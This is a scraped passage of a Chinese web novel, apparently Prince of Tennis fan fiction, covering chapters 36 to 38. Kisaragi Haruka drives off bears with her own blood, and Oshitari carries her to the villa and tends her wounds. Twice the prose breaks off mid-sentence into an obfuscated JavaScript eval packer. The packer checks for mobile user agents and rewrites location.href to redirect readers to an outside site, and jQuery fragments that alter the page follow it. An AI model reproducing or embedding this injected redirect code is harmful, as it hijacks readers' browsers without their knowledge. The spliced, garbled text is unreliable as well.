有个年轻侍从腿一软,差点瘫倒,被旁边人死死拽住。 “吼——!” 当先那头体型最大的黑熊似乎被强光和人群的逼近激怒,人立而起,庞大的身躯投下恐怖的阴影,张开血盆大口,露出森白的獠牙,发出一声震耳欲聋的咆哮,腥风扑面! 就在这千钧一发、所有人的心脏都提到嗓子眼的瞬间—— 一道几乎融入夜色的黑影,以超越人类视觉捕捉极限的速度,从人群侧后方如同鬼魅般闪出。 如月遥。 她一路赤足狂奔而来,黑色的真丝睡衣在奔跑中早已被树枝刮破多处,此刻更像是夜行猛兽的皮毛。 双足沾满泥土和草屑,却踏得异常沉稳。 她纤细的身影在巨大的黑熊面前显得如此渺小,却又带着一种一往无前、撕裂夜幕的决绝。 她目标明确,没有丝毫停顿,竟在所有人惊骇欲绝的目光中,直直冲向了那三头黑熊组成的死亡包围圈中心,冲向了昏迷的清水绫子。 “如月——!!!” 忍足侑士的嘶吼带着撕裂心肺的恐惧。 他眼睁睁看着那道单薄的身影冲向那三张血盆大口,只觉得全身血液瞬间冻结,灵魂都要被抽离,下意识就要不顾一切地扑过去。 “别动!” 迹部景吾的厉喝如同惊雷,他反应极快,一把死死扣住了忍足的手臂。 眼眸死死盯着场中,心脏同样在狂跳,但他知道,此刻任何鲁莽的举动都可能将所有人拖入万劫不复。 那头人立而起的黑熊显然被这突然闯入的渺小生物彻底激怒了。 它发出一声更加暴戾的咆哮,巨大的熊掌带着撕裂空气的恶风,朝着刚刚冲到清水身边的如月遥狠狠拍下,那力量足以拍碎岩石。 所有人的呼吸都停止了。 绝望如同冰冷的潮水淹没每一个人的头顶。 甚至有人闭上了眼睛。 然而 就在那巨大的熊掌即将拍碎那道纤细身影的刹那—— “吼——!!!” 一声远比黑熊咆哮更加浑厚、更加威严、仿佛来自远古洪荒、带着百兽之王无上威压的怒喝,如同平地惊雷,猛地炸响在这片林间空地上,震得树叶簌簌落下! 是如月遥。 她猛地站直身体,将昏迷的清水护在身后,月光穿透林隙,清晰地照亮了她的脸。 那张总是清冷无波的面容,此刻竟笼罩着一层令人灵魂颤栗的冰冷煞气。 眼里仿佛有金色的火焰在熊熊燃烧,带着俯瞰蝼蚁般的、绝对的不容侵犯的威严。 她手中的匕首没有刺向黑熊。 而是快如闪电地在自己的左手虎口处猛地一划! 嗤——! 一道血口瞬间绽开,带着奇异气息的鲜血如同泉涌般喷溅而出。 她没有丝毫停顿,左臂猛地一扬,温热的鲜血顺着她白皙的手臂淋漓淌下,在清冷的月光下划出一道妖异而神圣的血线。 浓烈的血腥味瞬间盖过了黑熊的腥膻。 “你是什么东西?!” 她的声音如同九幽寒冰,每一个字都带着雷霆万钧的威压,轰然砸向那三头凶兽,“也敢来碰我的衣角!” 话音落下的瞬间,奇迹发生了。 那三头前一秒还凶焰滔天、欲择人而噬的庞然巨兽,在闻到那股喷溅而出的、带着奇异威压的鲜血气息的刹那,如同被无形的巨锤狠狠砸中了灵魂。 “呜——!” “嗷——!” 恐惧的低吼瞬间取代了暴戾的咆哮。 那头人立而起、巨掌悬在半空的头熊,庞大的身躯如同筛糠般剧烈颤抖起来,它那双凶残的绿眼睛里,清晰地映出了如月遥那如同山岳般不可撼动的身影和她手臂上流淌的、仿佛燃烧着金色火焰的鲜血。 那眼神中充满了源自血脉深处的、无法抗拒的恐惧和臣服。 “噗通!” “噗通!” “噗通!” 三声沉闷的重响! 三头小山般的黑熊,竟然在同一时间,前肢弯曲,巨大的头颅深深埋下,整个身体匍匐在地,如同最卑微的臣民觐见无上的君王。 庞大的身躯因为极度的恐惧而剧烈颤抖着,喉咙里发出卑微的、求饶般的呜咽。 月光如水,静静流淌。 林间空地上,血腥味弥漫。 那个纤细的身影,赤着沾满泥土的双足,傲然挺立在三头臣服的巨兽和昏迷的清水之前。鲜血依旧在流淌,顺着指尖滴落在潮湿的泥土上,发出轻微的“嗒嗒”声。 清冷绝艳的面容在月华下如同玉雕,那双燃烧着金色火焰的眼眸,冰冷地俯视着脚下匍匐的凶兽。 她向前缓缓踏出一步。 赤足踩在冰冷的泥土上,无声无息,却仿佛踏碎了整个山林的寂静。 “见到山君,” 她的声音不高,却带着不容置疑的最终审判: “还不退下!” “呜——!” 三头黑熊如同听到了赦令,庞大的身躯爆发出前所未有的力量,连滚带爬、慌不择路地转身,发出惊恐至极的哀嚎,瞬间撞开灌木,没命地朝着山林深处逃窜而去。 转眼间便消失得无影无踪,只留下满地狼藉和被践踏的草木,以及那浓郁到化不开的恐惧气息。 死寂。 绝对的死寂笼罩了整片山林空地。 月光下,唯有那道纤细的身影静静伫立。 伤口还在流血,赤足沾染着泥土和草屑,黑色的睡衣在夜风中微微拂动。 她微微垂眸,看着地上昏迷不醒的清水绫子,眼里燃烧的金色火焰渐渐熄灭,重新化为一片深不见底的寒潭。 她缓缓弯下腰,脱下身上黑色外套,轻轻盖在了清水绫子身上。同时也露出了里面被汗水浸湿的黑色贴身背心。 然后直起身,抬起那只流血的手,随意地甩了甩,仿佛只是甩掉一点微不足道的灰尘。目光平静地扫过周围如同石化般的众人。 她的声音恢复了平日的清泠,带着一丝沙哑,像是在陈述一件再平常不过的小事: “没事了。” “找人把清水抱回去吧。” 如月朝着迹部提醒了一下,迹部迅速从这不可思议的神迹中按下自己的心血,看过身边同样惊骇无比的众人,然后压下无数的情绪,喊了一声桦地。 桦地听罢出列,走到清水身边,默默弯下腰,把她轻轻抱起,身上还盖着如月的那件黑色睡衣。 忍足的大脑没有一丝思考的余地,眼里只有如月的身影。 他猛地拨开人群冲到她面前,看着她带着血的手臂和暴露在空气中的皮肤,下意识脱下自己的外套,牢牢把她裹住。 男人的气息瞬间围绕在如月身边,她立刻皱眉地要去扯开那件外套,忍足却不管不顾,愣是发了狠地套在她身上,甚至还怕她再挣扎,用袖子牢牢在她身前打了个结。 最后在如月几乎要冒火的眼神中,毫不犹豫地伸手把她紧紧抱进怀里。 那巨大的几乎要将他撕裂的恐惧感,在感受到怀中真实存在的温度和心跳后,终于如同潮水般缓缓退去,只剩下剧烈心跳后的余震和一种近乎虚脱的安心。 迹部看着此情此景,打了个响指叫众人抓紧回别墅,“晚间不许再出来了。” “去联系清水家的人,说清水今晚暂时留宿这里。”管家立刻应声。 在迹部的威压之下,众人纷纷拿着武器和装备,带着惊惶未定以及无比震惊的心情准备回别墅,然而人群中的窃窃私语却没有停下。 如月挣扎着从忍足怀里探出头,对迹部说,“今晚的事,我希望保密。” 话音落下,她又被忍足死死按进怀里。 迹部闻言自然知道她的意思,点头答应,然后眼神扫过自己家的侍从和保镖们,众人瞬间都闭上了嘴。 忍足粗重的喘息渐渐平复,身体也不再抖得那么厉害,但双臂依旧如同最顽固的锁链,紧紧锢着怀中的人。 如月遥被他闷在胸膛前,鼻尖全是他身上的气息,还有那隔着薄薄背心布料传来的、依旧滚烫的体温。 她忍耐了片刻,终于忍不住出声,声音带着一丝被憋闷的不悦和警告性的清冷:“抱够了没有?” 忍足的理智已经慢慢回笼。 大小姐的脾气他是知道的,他这突破社交距离的举动,换做平时十个过肩摔都算轻的。她没当场把他掀翻在地,已经是天大的“纵容”了。 可是…… “……没抱够。”忍足闷闷的声音从她发顶传来,带着一种破罐子破摔的、近乎无赖的执着。 手臂非但没有松开,反而下意识地又收紧了那么一丝丝。 虽然知道这样很可能会点燃火药桶,但此刻他就是不想放手。 如月遥显然对他这种“蹬鼻子上脸”的行为彻底怒了,抬手用力推搡了一下他的胸口:“松开!” 忍足被推得微微一晃,却没有如她所愿地放手。 他顺着她推拒的力道微微低下头,目光瞬间被她左手虎口那道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526638|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狰狞的伤口攫住。 皮肉翻开,鲜血虽然不像刚才那样涌流,但依旧在缓慢地渗出,蜿蜒的血痕在她白皙的皮肤上显得触目惊心。 医学生的本能瞬间压倒了一切,“伤口必须立刻处理!” 忍足的声音带着不容置疑的焦急,双手下意识地想放开她去检查伤口,却又怕她跑了,动作显得笨拙又矛盾。 如月遥瞥了一眼那道不值一提的伤,再看向忍足那张写满了天塌了的焦急面孔,眉头蹙得更紧,语气带着点冰冷的嫌弃:“胆子这么小就别追出来。” 她顿了顿,补充了一句在她看来稀松平常的评价:“熊而已,吓成这副样子。” 忍足的心猛地一刺,一股巨大的苦涩涌上喉头。 他不是怕熊…… 他怕的是她冲过去! 怕的是那巨大的熊掌拍下! 怕的是失去她! 可这些话堵在喉咙里,对上她那双清冷澄澈、仿佛洞穿一切却又对某些情感一窍不通的眼眸,他只觉得满嘴苦涩,一个字也说不出来。 只是看着她,看着她因为刚才被他闷在怀里太久,白皙的脸颊上泛起一层淡淡的、近乎透明的红晕,鼻尖甚至渗出一点细小的汗珠…… 这幅模样,褪去了几分平日里的冰山疏离,竟带出一种罕见的人气儿。 忍足的心跳又不争气地漏掉一拍。 如月遥显然不想再跟他在这里纠缠。 她挣开他微松的手臂,赤着的双足踩上冰冷的山道泥土,抬脚就要往别墅的方向走。 “别走!” “你没穿鞋!”他急切地喊道,目光落在她那双沾满污泥草屑、还有几道细小划痕的白皙脚丫上,心疼得无以复加,“地上这么凉,还有碎石树枝,再走脚底也要伤了。” “小问题。”如月遥的声音波澜不惊,试图甩开他的手,“不妨碍。” “不行!”忍足此刻固执得像头倔驴,什么绅士风度、什么进退有度,全都被他抛到了九霄云外。 一股冲动如同火山爆发般涌上头顶,他不管三七二十一,在如月遥惊愕的目光中,猛地弯下腰。 一手抄起她的腿弯,一手环过她的后背, 竟是直接将她打横抱了起来! “忍足侑士!”如月遥被这突如其来的失重感吓得本能地抓住了他胸前的衣襟,反应过来后,瞬间炸毛。 带着前所未有的震怒和羞恼,“放开我!” 然而此刻的忍足侑士,像是被某种执念附了体。他不仅没放,反而更加用力地将她往怀里一箍,手臂收得死紧。 完全不理会她的挣扎和厉喝,抱着她就大步流星地朝着别墅灯光的方向走去,脚步坚定,甚至带着一种豁出去了的决绝。 “你……!”如月遥被他这前所未有的大胆举动气得几乎说不出话。 她挣扎着,可对方的手臂如同铁钳,将她死死禁锢在滚烫的胸膛前。 从来没有! 从来没有人敢这样违逆她! 更没有人敢这样把她像个物件一样抱起来就走! “胆子大了是吧?”她的声音冷得像冰渣,带着凛冽的杀意,“居然敢不听我的命令?想死是不是?!” 忍足感受到怀中人瞬间爆发的寒意和杀气,脚步却丝毫未停。 他低下头,看着那张近在咫尺、因为愤怒而染上薄红却依旧美得惊心动魄的脸,喉结滚动了一下,声音带着一种近乎豁出去的、破釜沉舟的强硬。 “大小姐要发脾气……”他顿了顿,目光毫不退缩地迎上她那双燃烧着怒火的眼睛,一字一句地说道:“也要等回到别墅,把你的伤口处理好了再发。” 他紧了紧抱着她的手臂,像是在确认她的重量和真实存在。 “现在必须听我的!” 他的语气带着一种前所未有的、不容置疑的掌控感,像是为了增加说服力,他又强调了一句:“我是医生!” “医生?”她的声音带着冰冷的嘲讽,“你拿到从医资格证了吗?” “没有。”忍足干脆利落地承认,抱着她稳稳地踩过一段稍显崎岖的山路,脚步没有丝毫停顿,声音却异常坚定:“那也得听我的。” 月光洒在山道上,将两人的身影拉得很长。 如月遥停止了挣扎。 她靠在他怀里,眼睛看着他线条紧绷的下颌线和额角渗出的细汗。夜风吹拂着她散落的发丝,拂过她虎口那道隐隐作痛的伤口。 她能清晰地感受到他胸膛里那颗心脏剧烈而有力的搏动,隔着薄薄的衣衫,传递着滚烫的温度和近乎孤勇的执拗。 她抿了抿唇,最终什么也没再说。 只是将目光投向远处那片温暖的灯火,任由他抱着,踏着冰冷的月色,一步步走回人间烟火。 37. 第 37 章 别墅灯火通明的客厅里,弥漫着一种劫后余生与强烈的好奇混合而成的诡异气氛。 众人聚在一起,压低声音交头接耳,目光时不时瞥向门口,眼神里充满了对刚才山林惊魂的余悸和对两人后续发展的强烈八卦欲。 脚步声沉重而急促地由远及近。 当忍足侑士抱着如月遥的身影出现在门口时,客厅里所有的声音如同被利刃切断,瞬间陷入一片死寂。 所有的目光齐刷刷地聚焦在两人身上。 忍足侑士的外套裹在如月遥身上,勉强遮住了她那件湿透的黑色运动背心,却遮不住她虎口上蜿蜒刺目的血迹和赤裸的、沾满污泥草屑的白皙双脚。 她的脸色在灯光下显得有些苍白,但眼眸却锐利依旧,只是此刻里面清晰地燃烧着被冒犯的愠怒。 而抱着她的忍足,则是一副豁出去了的强硬姿态。 他额发凌乱,脸颊上蹭着泥土,平日架在鼻梁上的眼镜早就不知道丢到哪里去了,露出那双此刻写满了固执的眼眸。 他抱着她的手臂稳如磐石,步履急促却又异常坚定,仿佛怀中抱着的是失而复得的稀世珍宝。 如月遥显然被这满客厅的注目礼看得浑身不自在,尤其是那些目光里毫不掩饰的八卦和探究,让她感到一种前所未有的羞恼。 “放我下来!”她压低声音,带着冰冷的命令和不容置疑的威胁,“我自己能走!” 忍足充耳不闻。 他甚至连脚步都没有丝毫停顿。 抱着她的手臂反而收得更紧,仿佛要将她嵌进自己的身体里,隔绝开外界所有探究的目光,他只管大步流星地朝着通往二楼的楼梯走去。 “忍足侑士!”如月遥的怒气值飙升,她警告性地抬起那只没受伤的右手,狠狠掐住了忍足靠近肩膀位置的手臂肌肉。 力道之大,指甲几乎要隔着薄薄的衬衫嵌进他的皮肉里。 “唔!”忍足疼得闷哼一声,身体都微微晃了一下,额角瞬间渗出冷汗,但他那双深蓝色的眼眸里,固执的光芒却丝毫未减。 他咬紧了牙关,下颌线绷得死紧,脚下步伐丝毫不停,反而走得更快。 这份前所未有的强硬让众人看得目瞪口呆,向日岳人更是差点把眼珠子瞪出来。 这还是他们认识的那个笑里藏刀、关键时刻总爱明哲保身的关西狼吗? 迹部景吾立刻对身边的管家沉声吩咐,“把医药箱送到如月小姐的房间。” “是,少爷!”管家立刻躬身应下。 迹部目光扫过众人,继续冷静地安排:“清水小姐安置在二楼东侧客房,安排女仆守夜照料。” 他华丽的声音带着不容置疑的命令,“其他人立刻回房休息!” 众人虽然满心八卦之火熊熊燃烧,但在迹部强大的气场下,也只能依依不舍地散开,各自回房,只是目光依旧忍不住追随着楼梯上那个抱着人、步伐坚定、甚至带着点“土匪抢亲”气势的身影。 忍足抱着如月遥,穿过寂静的回廊,无视了她愈发冰冷的警告和掐在手臂上的剧痛,目标明确地朝着她房间的方向走去。 如月遥简直要被气笑了。 她从未见过如此油盐不进、胆大包天的家伙! “好得很……”她的声音冷得像冰渣,带着一丝咬牙切齿的意味,“我看你是……” 她的话音未落,忍足已经走到了她的房间门口。腾出一只手,略显粗暴地拧开了门把手,抱着她走了进去。 房间内温暖的光线倾泻而出。 忍足反脚用力一踢,“砰!”一声闷响,房门在他身后重重关上,隔绝了外面所有的目光和声响。 忍足抱着她,几步走到那张宽大的床边。 这一次,他终于没有再“抗命”,小心翼翼地将她放在了松软的床沿上,动作带着一种与刚才强硬截然相反的、近乎虔诚的轻柔。 然而,就在他弯腰将她放下的瞬间,如月遥被他一路抱着、挣扎着、又掐又怒积累的火气,终于找到了宣泄口。 在双脚接触到柔软地毯的刹那间,她那只没受伤的右手猛地扬起。 啪! 一声清脆响亮的耳光,结结实实地甩在了忍足侑士的左脸上! 力道之大,让忍足毫无防备地猛地偏过头去! 脸颊上瞬间浮现出清晰的五指红痕。 整个房间瞬间陷入一片死寂。 只有两人粗重不一的呼吸声清晰可闻。 如月遥坐在床沿,胸口微微起伏,眼眸里燃烧着冰冷的怒火,甩出去的手还微微发麻。她盯着忍足,仿佛要用眼神在他脸上戳出几个洞来。 忍足维持着被打偏头的姿势,一动不动。 几秒钟的死寂。 他缓缓地、一点点地转回头。 眼眸里没有了刚才的固执和强硬,只剩下被打懵了的委屈,还有一丝仿佛被打醒了般的清醒。 他抬手,用指腹轻轻碰了碰火辣辣的脸颊,动作很慢。 看着坐在床沿、如同一座即将爆发的冰山的如月遥,看着她虎口上那道依旧在缓慢渗血的狰狞伤口,看着她赤着的、沾满污泥的双脚…… 所有的冲动、后怕、固执、心疼的情绪在这一记响亮的耳光下,如同被戳破的气球,瞬间泄了个干净。 他张了张嘴,喉咙像是被什么哽住,最终只能发出一声带着浓浓鼻音的、低哑到近乎哽咽的: “对不起……” 房间里死寂一片,只有两人压抑的呼吸声。 忍足半跪在柔软的地毯上,就在床沿边,仰头看着坐在床沿的如月遥。 他脸上那道清晰的五指红痕在灯光下显得格外刺目,左脸颊微微肿起,嘴角似乎也破了点皮,渗着一点血丝。 如月遥的右手手指无意识地蜷缩了一下,指腹似乎还残留着刚才甩在他脸上时,那滚烫皮肤和微刺胡茬的触感。 一丝极其微弱的懊恼在她心头飞快闪过。 她下手是不是太重了点? 但下一秒,那点懊恼就被更汹涌的怒火和羞恼淹没。 是他活该! 是他先冒犯她的! 那么多人看着!众目睽睽之下! 他竟然敢……敢像个土匪一样把她抱起来就走! 完全无视她的命令和挣扎! 她如月遥的脸面往哪搁?! 她猛地撇开脸,不再看那张写满委屈和狼狈的脸,仿佛只要不看,那个碍眼的巴掌印就不存在,刚才那场让她颜面尽失的“强抢民女”戏码也没发生过。 “笃笃笃。” 轻轻的敲门声恰到好处地打破了这令人窒息的沉默。 “如月小姐,忍足少爷,”管家的声音隔着门板传来,恭敬而克制,“医药箱送来了。” 忍足动作快得带起一阵风。 他几步冲到门口,拉开一条缝,飞快地接过管家递来的沉甸甸的医药箱,含糊地说了句“谢谢”,然后“砰”地一声又把门关上了,隔绝了外面所有的视线。 他抱着医药箱走回床边,没有立刻靠近,只是站在离床沿一步远的地方。目光沉沉地落在如月遥那只垂落在身侧、依旧在缓慢渗血的左手上。 深吸一口气,压下心口翻涌的复杂情绪,声音低沉,“伤口必须立刻处理,不然会感染。” 如月遥依旧偏着头,只留给他一个冰冷倔强的侧脸和紧绷的下颌线。 显然,气还没消。 忍足看着她的背影,看着她手臂上那道刺目的伤口,闭了闭眼,再睁开时,声音放软了,带着一种近乎哄劝的低姿态:“你生气,打我骂我都可以。” 他声音更低了些,带着点豁出去的意味:“但至少等处理完伤口,你想怎么打,怎么撒气都行。” 他看着她微微动了一下的肩膀,知道她听进去了,只是还在别扭。 如月遥咬着下唇。 她当然知道忍足刚刚那一系列“冒犯”的举动是为了她好。 担心她的伤,担心她赤脚走路,那份急切和固执,她感受得到。 但是! 他居然敢当着那么多人的面违抗她! 把她像个物品一样抱起来! 这让她一贯掌控一切、不容置疑的权威受到了前所未有的挑战! 这口气,实在咽不下去! 可此刻,听着他放软了语调、近乎卑微的哄劝,看着他脸上那个碍眼的巴掌印,心里那股熊熊燃烧的怒火,不知不觉就泄了大半。 只剩下一种别扭的、不想面对他的情绪在作祟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526639|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 尤其是那个红红的巴掌印,太丑了!才不要看! 忍足见她虽然没有回应,但也没有再激烈地抗拒,便试探性地走近一步,蹲下身,小心地打开了医药箱。 他伸出手,想去握住她的左手手腕,准备清理伤口。 “别碰!”如月遥像是被烫到一样,猛地将左手缩了回去,她终于转过头来瞪着他,带着别扭的烦躁,“不要用你的药箱。” 她抬了抬下巴,指向放在床脚不远处的那个行李袋:“我的东西在里面。去拿。” 忍足被她这突如其来的嫌弃弄得一愣,但看到她肯说话了,心里反而松了口气。 他依言起身,走到行李袋旁,蹲下翻找。行李袋侧面果然有一个独立的、设计精巧的夹层。 拉开拉链,里面整齐地码放着几个大小不一的防水密封袋,里面装着各种药品、纱布、绷带、消毒剂等种类齐全,专业得堪比一个小型急救包。 忍足拿着那包医疗用品走回床边,重新在她面前蹲下。 他打开密封袋,将里面的东西一一取出,摆在床边的小几上,然后看向如月遥,一副“悉听尊便”的姿态。 如月遥瞥了他一眼,目光扫过那些药品,开始指挥: “那个蓝色瓶子的,消毒水。” “白色软管,外敷凝血凝胶。” “银色小剪刀。” “黑色包装的,无菌纱布。” “最后,那个印着红十字的,弹性绷带。” 忍足像个最听话的助手,一丝不苟地按照她的指令,将所需物品精准使用在她的伤口上。他看着这些专业甚至有些是市面上难以买到的军用级医疗用品,心头微微一紧。 “你……”他忍不住开口,声音低沉,“为什么会随身带这些?” 如月遥闻言微微一顿,“习惯了。” 习惯了…… 简简单单三个字,却像一把重锤,狠狠敲在忍足的心上。 她习惯了什么? 习惯了受伤? 习惯了独自处理伤口? 习惯了在无人知晓的角落,舔舐自己的伤痛? 他几乎能想象到,在那些他未曾参与的、充满危险的岁月里,她就是这样,带着这样一份“习惯”,一次次在伤痛中独自挺过来。 他不再追问。 只是低下头,动作异常轻柔地,小心翼翼地用镊子夹起浸透了消毒水的棉球,极其轻柔地擦拭着那道狰狞的伤口边缘,动作专注而虔诚,仿佛在对待一件稀世珍宝。 消毒水刺激伤口的痛感让如月遥几不可察地蹙了下眉,但她只是抿紧了唇,没有出声。 忍足仔细检查着伤口,悬着的心终于放下了一些。 伤口皮肉翻卷看着吓人,但确实避开了主要的神经和肌腱,只要处理得当,不会留下严重的后遗症。 他松了口气,动作更加轻柔地帮她涂抹上淡绿色的凝血凝胶,再用无菌纱布覆盖,最后用弹性绷带一圈圈仔细地缠绕固定好。 处理完手臂的伤口,忍足的目光落在了她那双赤裸的脚上。 白皙的脚背上沾着干涸的泥点,脚底更是沾满了泥土和细碎的草屑,几道被碎石或树枝划破的细小伤口清晰可见,有些还在微微渗血。 “脚……”忍足的声音带着不容置疑的坚持,他指了指自己的大腿,“放上来,也要处理。” 如月遥看着他,没什么情绪,但似乎也没那么抗拒了。 她身体微微向后靠了靠,倚在柔软的床头靠背上,在忍足紧张的目光中,慢慢地、带着点矜持地,将那双沾满尘土的脚,轻轻地搁在了他屈起的大腿上。 温热的、带着泥土微凉气息的触感隔着薄薄的布料传来。 忍足的身体几不可察地绷紧了一瞬。 他深吸一口气,压下心头那丝异样的悸动,小心翼翼地用镊子夹着消毒湿巾,开始一点一点地、极其轻柔地擦拭她脚底和脚背上的污垢。 每一次擦拭,都露出更多她原本白皙细腻的肌肤,也让他看清了那些细小的划痕。 他小心翼翼地清理掉伤口里的草屑和尘土,再用干净的棉签蘸取消毒水,极其轻柔地涂抹在那些细小的伤口上。 房间里的气氛终于不再像刚才那样剑拔弩张。 38. 第 38 章 灯光温暖,只剩下镊子、棉签和药瓶偶尔发出的轻微声响,以及两人间渐渐平复下来的呼吸声。 忍足低着头,专注地处理着她脚上的伤口。 视线落在她白皙的足弓,圆润的脚趾,还有脚踝处那优美流畅的线条上。 就在昨天,这双脚还稳稳地踩在他的脚背上,在众人的起哄声中,和他一起笨拙地完成那场“踩脚背绕圈”的游戏。 那冰凉的、柔软的触感,那带着她独特气息的贴近,曾让他心跳如擂鼓。 可今天这双脚却沾满了污泥,被划出了伤口,为了救人,在山林里赤足狂奔…… 他握着棉签的手指微微用力,指节泛白。细致地处理完她脚上最后一道细小的划痕,他放下棉签和药瓶。 房间里的气氛在静默中流淌着一种奇异的平和,之前的剑拔弩张似乎已被这专注的疗伤过程融化。 他看着被她收回、重新蜷回床沿边的白皙双足,心头那份被强行压下的后怕和疑问再次翻涌上来。 他忍不住开口,声音低沉,带着不解:“为什么?” “为什么要这样做?冲进熊群里,那么危险。” “就算是为了救人,也不能不顾自己的安危……” 如月遥的目光落在窗外深沉的夜色里,声音平静无波,仿佛在陈述一个再简单不过的事实:“好歹是一条人命。” “要是清水真出了事……” 她的视线终于缓缓转回来,落在忍足脸上,“那到时候你和迹部……” 她刻意省略了后面的话,但意思清晰无比——你们都会被牵连,麻烦缠身。 忍足的心猛地一跳。 不是因为害怕牵连,而是因为她话语里那层刻意掩盖、却依旧被他捕捉到的维护。 她是因为他,怕他因此而陷入困境。 虽然她别扭地用“迹部”来做遮掩,但他听懂了。 “如月……”忍足的声音低沉沙哑,带着浓重的鼻音和深深的情愫,“……谢谢。” 千言万语堵在胸口,最终也只浓缩成这最朴素的两个字。 如月遥被他那过于直白的、带着情绪的眼神看得有些不自在,立刻扭开头,避开他的视线,语气带着点羞恼的强硬:“谢什么谢!” 像是为了强调,又像是掩饰着什么,她飞快地补充道,目光重新投向窗外虚无的黑暗: “清水不过是个被宠坏的小女孩罢了。” 她的声音恢复了惯常的清冷,却少了些平日的尖锐,“喜欢你又有什么罪大恶极的?” “虽然有胆量对我吼叫。” 她似乎想到了清水在球场对她的叫嚣和指控,眼里掠过一丝极淡的不悦,但随即又被那层漠然覆盖,“但,罪不至死。” 听到她口中再次说出“清水喜欢他”这几个字,忍足的心弦又绷紧了。 他几乎是下意识地就想开口解释,解释他和清水之间从未有过什么,解释一切都是误会和父亲的自作主张。 “如月……”他声音艰涩,“你是不是觉得……我……” 他艰难地寻找着词汇,“辜负了她,很差劲?” 如月遥闻言,倏地转回头看向他。 眼眸里清晰地映出他此刻的紧张和自我怀疑,她的眼神平静得如同无风的湖面。 “清水喜欢你,说明你这个人,在某些方面足够优秀。” 她看着他,目光坦然而透彻,声音清晰而笃定,“但喜欢是相互且自愿的。” “你不喜欢她,这本身就没有错。” 她的目光带着一种洞察人心的力量,“更没有必要为此自责。” 她的视线落在房间一角,仿佛穿透了墙壁看到了外面那片惊魂甫定的山林:“至于今天这场‘意外’也不是你造成的。” 忍足的心剧烈地震动起来。 他的月亮总是这样。 用最冷静、最理智、甚至最不近人情的语言,剥开所有纷繁复杂的表象,直指最核心、最本质的道理。 这份清醒,宛如利剑劈开迷雾。 在这份清醒之下,却又暗藏着一种不易察觉的、带着悲悯的通透和温柔。 她并非不近人情,她只是看得太清楚,也太明白。 这份洞悉与包容,让他心头滚烫,涌动着难以言喻的情感。 他低下头,看着自己沾着泥土和血迹的双手,目光落在她包裹着白色绷带的左手上。 “伤口处理好了。”他声音低哑,带着一丝小心翼翼的试探,像是在提醒她一个被遗忘的约定,“大小姐……还要打我吗?” 他指了指自己那已经褪去明显红痕、只剩下一点淡淡印记的脸颊。 如月遥的目光顺着他指的方向瞟了一眼他脸颊上那几乎看不见了的印记,随即像是被烫到一般飞快地移开视线。 她没好气地瞪了他一眼,那眼神里写满了“你是不是傻”和“懒得理你”。 “脏死了!” 她的声音带着毫不掩饰的嫌弃,指了指他身上那件沾染了泥土、草屑、汗水甚至血迹、早已看不出原本颜色的衣服。 “一身都是汗和泥!赶紧滚回你自己房间去洗澡!” 她说着,才猛然意识到自己身上还裹着他那件同样脏得不行的外套。 莫名的羞恼瞬间涌上心头,她猛地伸手,动作带着点气急败坏的粗暴,一把将那件脏兮兮的外套从身上扯了下来,用力甩到忍足的脸上。 “拿走!” 她语气恶劣:“我要洗澡!你给我马上滚出去!” 带着她体温和淡淡血腥味的外罩劈头盖脸扔过来。忍足下意识地接住,怀里瞬间被那混合着她气息和脏污的外套填满。 听到她说要洗澡,忍足的眉头瞬间拧紧。 “不行!”他脱口而出,抱着那件脏外套,语气异常坚决地拦在床前,“伤口不能碰水!感染了怎么办?” 如月遥被他这态度再次激怒,指着自己身上同样狼狈不堪的黑色背心和裤子:“你看看我这身!” 她的声音提高了些,带着一种被脏污包围的、近乎崩溃的烦躁,“全是汗,还有血,还有泥!不洗澡怎么睡觉?难道你要我这样睡一夜吗?” 忍足看着她确实狼狈不堪的样子,头发凌乱,脸上沾着一点泥渍,手臂和身上都带着尘土和血迹。 他知道她爱干净,这样睡一夜对她来说绝对是折磨。 他的头确实有点大了。 既担心伤口感染,又无法反驳她此刻迫切想要清洁的诉求。 “那……”忍足深吸一口气,压下心里的担忧,提出了一个折衷方案,“我去找个女仆上来帮你。” 他看着她的眼睛,语气带着不容商量的坚持和细致的叮嘱:“洗澡的时候,千万、千万要避开左手的伤口!用保鲜膜或者防水的东西严密包好,手臂绝对不能浸水!” “其他地方也要小心点,动作轻些。” 如月遥抿了抿唇。虽然还是觉得麻烦,但看着忍足那副如临大敌、恨不得亲自给她缠上十层保鲜膜的表情,她心里那点别扭劲儿也散了。 “……啰嗦。”她低声嘀咕了一句,算是默认了他的提议。 “快去!”她有些不耐烦地催促道,身子往后一靠,闭上了眼睛,一副“赶紧走别烦我”的姿态。 忍足看着她终于妥协,心里松了口气,却又涌上一丝难以言喻的失落。 他抱着那件脏兮兮的外套,深深地看了她一眼,才转身,脚步有些沉重地离开了房间,轻轻带上了房门。 房间里再次恢复了安静。 夜已深沉,轻井沢别墅的喧嚣彻底沉淀下来,只余窗外偶尔的虫鸣。 忍足侑士躺在柔软的床铺上,身体疲惫得如同灌了铅,紧绷了一整晚的神经彻底松懈下来,带来的却是更深沉的倦意。 然而大脑却异常活跃,如同过载的放映机,反复回放着今晚惊心动魄的每一帧画面。 手机的震动打破了房间的寂静,屏幕在黑暗中亮起微光。 划开屏幕,网球部的群聊图标疯狂闪烁,消息如同泄洪般涌出,密密麻麻地覆盖了整个屏幕。 